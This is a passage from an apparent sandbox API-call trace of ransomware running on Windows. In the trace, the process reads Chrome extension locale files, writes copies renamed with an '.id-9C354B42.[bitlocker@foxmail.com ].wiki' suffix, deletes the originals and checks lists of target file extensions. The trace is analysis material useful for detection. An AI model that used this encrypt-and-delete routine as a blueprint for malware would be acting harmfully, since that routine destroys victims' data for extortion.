liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.241] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.241] GetLastError () returned 0x0 [0177.241] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xbb, lpOverlapped=0x0) returned 1 [0177.534] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.535] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.535] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.536] SetEndOfFile (hFile=0x1a0) returned 1 [0177.536] CloseHandle (hObject=0x1a0) returned 1 [0177.536] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.536] SetEndOfFile (hFile=0x1ac) returned 1 [0177.537] CloseHandle (hObject=0x1ac) returned 1 [0177.537] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.537] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json")) returned 1 [0177.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.537] lstrlenW (lpString=".doc") returned 4 [0177.537] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.537] lstrlenW (lpString=".docx") returned 5 [0177.537] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.537] lstrlenW (lpString=".pdf") returned 4 [0177.537] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.537] lstrlenW (lpString=".xls") returned 4 [0177.537] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.537] lstrlenW (lpString=".xlsx") returned 5 [0177.537] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.537] lstrlenW (lpString=".ppt") returned 4 [0177.538] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString=".zip") returned 4 [0177.538] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".rar") returned 4 [0177.538] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".bz2") returned 4 [0177.538] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".7z") returned 3 [0177.538] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString=".dbf") returned 4 [0177.538] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString=".1cd") returned 4 [0177.538] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString=".jpg") returned 4 [0177.538] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.538] lstrlenW (lpString=".doc") returned 4 [0177.538] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".docx") returned 5 [0177.538] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.538] lstrlenW (lpString=".pdf") returned 4 [0177.538] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".xls") returned 4 [0177.538] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.538] lstrlenW (lpString=".xlsx") returned 5 [0177.538] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.539] lstrlenW (lpString=".ppt") returned 4 [0177.539] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.539] lstrlenW (lpString=".zip") returned 4 [0177.539] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.539] lstrlenW (lpString=".rar") returned 4 [0177.539] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.539] lstrlenW (lpString=".bz2") returned 4 [0177.539] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.539] lstrlenW (lpString=".7z") returned 3 [0177.539] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.539] lstrlenW (lpString=".dbf") returned 4 [0177.539] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.539] lstrlenW (lpString=".1cd") returned 4 [0177.539] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 154 [0177.539] lstrlenW (lpString=".jpg") returned 4 [0177.539] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.539] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.539] lstrlenW (lpString="messages.json") returned 13 [0177.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.540] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=277) returned 1 [0177.540] CloseHandle (hObject=0x1ac) returned 1 [0177.540] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json")) returned 0x2020 [0177.540] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.541] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.541] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.541] GetLastError () returned 0x0 [0177.541] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x115, lpOverlapped=0x0) returned 1 [0177.542] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0177.544] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.544] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.545] SetEndOfFile (hFile=0x1a0) returned 1 [0177.545] CloseHandle (hObject=0x1a0) returned 1 [0177.545] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.545] SetEndOfFile (hFile=0x1ac) returned 1 [0177.546] CloseHandle (hObject=0x1ac) returned 1 [0177.546] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.546] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json")) returned 1 [0177.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.546] lstrlenW (lpString=".doc") returned 4 [0177.546] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.546] lstrlenW (lpString=".docx") returned 5 [0177.546] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.546] lstrlenW (lpString=".pdf") returned 4 [0177.546] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.546] lstrlenW (lpString=".xls") returned 4 [0177.546] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.546] lstrlenW (lpString=".xlsx") returned 5 [0177.546] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.547] lstrlenW (lpString=".ppt") returned 4 [0177.547] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString=".zip") returned 4 [0177.547] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.547] lstrlenW (lpString=".rar") returned 4 [0177.547] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.547] lstrlenW (lpString=".bz2") returned 4 [0177.547] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.547] lstrlenW (lpString=".7z") returned 3 [0177.547] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString=".dbf") returned 4 [0177.547] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString=".1cd") returned 4 [0177.547] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString=".jpg") returned 4 [0177.547] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.547] lstrlenW (lpString=".doc") returned 4 [0177.547] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.547] lstrlenW (lpString=".docx") returned 5 [0177.547] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.547] lstrlenW (lpString=".pdf") returned 4 [0177.547] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.547] lstrlenW (lpString=".xls") returned 4 [0177.547] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.548] lstrlenW (lpString=".xlsx") returned 5 [0177.548] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.548] lstrlenW (lpString=".ppt") returned 4 [0177.548] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.548] lstrlenW (lpString=".zip") returned 4 [0177.548] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.548] lstrlenW (lpString=".rar") returned 4 [0177.548] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.548] lstrlenW (lpString=".bz2") returned 4 [0177.548] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.548] lstrlenW (lpString=".7z") returned 3 [0177.548] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.548] lstrlenW (lpString=".dbf") returned 4 [0177.548] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.548] lstrlenW (lpString=".1cd") returned 4 [0177.548] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 151 [0177.548] lstrlenW (lpString=".jpg") returned 4 [0177.548] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.548] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.548] lstrlenW (lpString="messages.json") returned 13 [0177.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.551] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=375) returned 1 [0177.551] CloseHandle (hObject=0x1ac) returned 1 [0177.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json")) returned 0x2020 [0177.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.552] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.552] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.553] GetLastError () returned 0x0 [0177.553] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x177, lpOverlapped=0x0) returned 1 [0177.554] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x180, lpOverlapped=0x0) returned 1 [0177.555] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.555] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.555] SetEndOfFile (hFile=0x1a0) returned 1 [0177.555] CloseHandle (hObject=0x1a0) returned 1 [0177.555] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.555] SetEndOfFile (hFile=0x1ac) returned 1 [0177.556] CloseHandle (hObject=0x1ac) returned 1 [0177.556] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.556] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json")) returned 1 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.557] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 151 [0177.557] 